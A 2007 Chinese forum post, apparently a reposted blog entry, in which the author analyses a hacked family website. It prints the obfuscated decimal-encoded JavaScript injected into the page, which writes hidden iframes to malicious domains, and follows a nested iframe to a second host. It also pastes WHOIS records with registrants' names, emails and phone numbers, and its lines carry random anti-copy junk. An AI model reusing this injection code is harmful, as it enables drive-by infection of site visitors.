社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5911阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, L;?F^RK{U  
dY0W=,X$7T  
http://www.areway.cn/?p=175 SqRM*Cf=  
2-N7%]h  
mwsBj)  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: a73VDQr I  
          .m8l\h^3  
<script>t=’60,105,102,114,97,109,101, KnA BFH  
32,115,114,99,61,104,116,116,112,58,47,47, ub9[!}r't  
102,114,101,101,46,117,45,117,117,117,46,99, "DGap*=J  
110,47,101,114,114,111,114,46,104,116,109, 4|I;z  
32,119,105,100,116,104,61,49,48,48,32,104, Ja4M@z  
101,105,103,104,116,61,48,62,60,47,105,102, %saP>]o  
114,97,109,101,62′; }qoId3iY!7  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> lxgfi@@+h  
                                                                                                  ~MC 5rOA  
<script>t=’60,105,102,114,97,109,101,32,115, 59SL mj  
114,99,61,104,116,116,112,58,47,47,102,114, [A {o"zY  
101,101,46,117,45,117,117,117,46,99,110,47, Rs S:I6L  
101,114,114,111,114,46,104,116,109,32,119, oQV3  
105,100,116,104,61,49,48,48,32,104,101,105, ,30lu a  
103,104,116,61,48,62,60,47,105,102,114,97, sb3z8:r  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); `MCtm(<  
document.write(t);</script> 3fpaTue|x  
                                                                                                  >R6mI  
<html xmlns=” zA+0jhuG  
http://www.w3.org/1999/xhtml O;V^Fk(  
“> .E+O,@?<  
<head> /ar0K9`c  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> &Z!y>k%6  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> yih|6sd$F  
<title>首页 - 爱生活家庭网 cr ]b #z  
                                                                                                                                                    l/B+k  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 i<>%y*+@  
转换字符串后的大概内容是(谁点击后果自付): Bsg^[~jWJu  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… F:#5Edo}A  
                                                                                                                                  8(y%]#n  
查询玉米u-uuu.cn的详细信息: ?SO!INJ  
Domain Name: u-uuu.cn zh=0zJ  
ROID: 20070901s10001s64972306-cn M=ag\1S&ZF  
Domain Status: ok  "$J5cco  
Registrant Organization: 王雷 CMbID1M3  
Registrant Name: 王雷 |.yS~XFJS  
Administrative Email: czlovexs@126.com pCo3%(  
Sponsoring Registrar: 北京万网志成科技有限公司 6'e^np  
Name Server:ns.yovole.com /AOGn?Z3  
Name Server:ns1.yovole.com 'm |T"Ym~  
Registration Date: 2007-09-01 17:54 bo<.pK$  
Expiration Date: 2008-09-01 17:54 IgwHC0W  
最后PING了一下地址 都没有什么…. &nVekE:!  
                                                                                                D4y!l~_,%M  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. +HWFoK  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> [bX ^_ Y  
<script language=”javascript” src=” LH+Bu%s  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script  q"T?  
> I9aiAD0s  
这个玉米应该有可能是木马作者的: -Q5UT=^  
foafau.info的详细信息: 1'(";  0I  
Access to INFO WHOIS information is provided to assist persons in &J|I&p   
determining the contents of a domain name registration record in the <P0 P*>M  
Afilias registry database. The data in this record is provided by )!E:  
Afilias Limited for informational purposes only, and Afilias does not 2^Im~p~ByE  
guarantee its accuracy.  This service is intended only for query-based 3kUb cm  
access. You agree that you will use this data only for lawful purposes Ah@e9`_r  
and that, under no circumstances will you use this data to: (a) allow, cV@^<  
enable, or otherwise support the transmission by e-mail, telephone, or }S')!3[G  
facsimile of mass unsolicited, commercial advertising or solicitations K8-1?-W  
to entities other than the data recipient’s own existing customers; or %x@bP6d[  
(b) enable high volume, automated, electronic processes that send Y?0x/2<  
queries or data to the systems of Registry Operator, a Registrar, or }1V+8'D  
Afilias except as reasonably necessary to register domain names or Lk$Mfm5"M  
modify existing registrations. All rights reserved. Afilias reserves KQ6][2-  
the right to modify these terms at any time. By submitting this query, R)$]r>YZF  
you agree to abide by this policy. <Z_\2 YW A  
Domain ID:D22418703-LRMS ;@gI*i N"  
Domain Name:FOAFAU.INFO nm%qm  
Created On:20-Nov-2007 16:05:42 UTC m1]/8{EC7  
Last Updated On:20-Nov-2007 16:05:44 UTC e&8Meiv+d  
Expiration Date:20-Nov-2008 16:05:42 UTC NRP) 'E  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 3$K[(>s  
Status:CLIENT DELETE PROHIBITED [okV[7  
Status:CLIENT RENEW PROHIBITED A/}[Z\C  
Status:CLIENT TRANSFER PROHIBITED }2*qv4},!  
Status:CLIENT UPDATE PROHIBITED !blGc$kC  
Status:TRANSFER PROHIBITED W=+AU!%  
Registrant ID:GODA-040110615 XUR#|  
Registrant Name:liu hong |?^N@  
Registrant Organization: *KiY+_8>  
Registrant Street1:beijing >j ].`T  
Registrant Street2: |9$C%@8  
Registrant Street3: N.]~%)K:{  
Registrant City:beijing Yc~lYz+b  
Registrant State/Province: z(O*DwY#  
Registrant Postal Code:100000 ^2%)Nq;O  
Registrant Country:CN 9{S$%D  
Registrant Phone:+86.860108888777 be_h uZ  
Registrant Phone Ext.: PGxv4(%  
Registrant FAX: +jq@!P"}d  
Registrant FAX Ext.: [h' 22 W  
Registrant Email:bbbshiji@163.com b">"NvlB  
Admin ID:GODA-240110615 AA ~7"2e  
Admin Name:liu hong 47*2QL^zj  
Admin Organization: E#tfCM6  
Admin Street1:beijing vZS/? pU~~  
Admin Street2: ^b$G.h{o!E  
Admin Street3: Xm(#O1Vm(l  
Admin City:beijing %t1Z!xv_  
Admin State/Province: >,k2|m  
Admin Postal Code:100000 u6Ux nqNc  
Admin Country:CN #wvGS%  
Admin Phone:+86.860108888777 pBBKfv  
Admin Phone Ext.: ;Z"Iv  
Admin FAX: iGj,B =35  
Admin FAX Ext.: rAW7Zp~KK  
Admin Email:bbbshiji@163.com ;H71A[M T  
Billing ID:GODA-340110615 g}hNsU=$5~  
Billing Name:liu hong =Y!.0)t;*  
Billing Organization: v1}ijls  
Billing Street1:beijing Td7Q%7p:  
Billing Street2: ;"9Ks.  
Billing Street3: &+oJPpHi\  
Billing City:beijing |na9I6  
Billing State/Province:  >}]bKq  
Billing Postal Code:100000 .v+J@Y a  
Billing Country:CN aWLA6A+C&  
Billing Phone:+86.860108888777 (8o;Cm  
Billing Phone Ext.: .9g :-hv  
Billing FAX: k`[>B k%b  
Billing FAX Ext.: P$AHw;n[R  
Billing Email:bbbshiji@163.com }waZGJLN  
Tech ID:GODA-140110615 <.BY=z=H  
Tech Name:liu hong `2V{]F  
Tech Organization: t)k;5B`> &  
Tech Street1:beijing tId,Q>zH  
Tech Street2: ~fcC+"7q/  
Tech Street3: lY,9bSF$  
Tech City:beijing QP!;Gwqr  
Tech State/Province: 1{cF/ :o  
Tech Postal Code:100000 lSd tw b  
Tech Country:CN sMJa4P>O@  
Tech Phone:+86.860108888777 #%OS=.V  
Tech Phone Ext.: v!<FeLW  
Tech FAX: -{d(~XIo  
Tech FAX Ext.: f1o^:}5x  
Tech Email:bbbshiji@163.com SjJ$Oinc  
Name Server:NS27.DOMAINCONTROL.COM ) 54cG  
Name Server:NS28.DOMAINCONTROL.COM _x!/40^G  
Name Server: }I`o%GL  
Name Server: *(/b{!~  
Name Server: 7+[L6q/K  
Name Server: YLSDJ$K6  
Name Server: /9P7;1?  
Name Server: XIM?$p^  
Name Server: YxU->Wi]G  
Name Server: \sW>Y#9]  
Name Server: !@ AnwV]  
Name Server: ~WB-WI\  
Name Server: #q&N d2y  
                                                                                                          k#mL4$]V5N  
接着下载每个文件里面的代码: 56NDU>j$  
一步一步看.. 7s:cg  
'?{L gj^R  
-I#<?=0B  
m,w^,)  
}>YEtA  
7(LB}  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八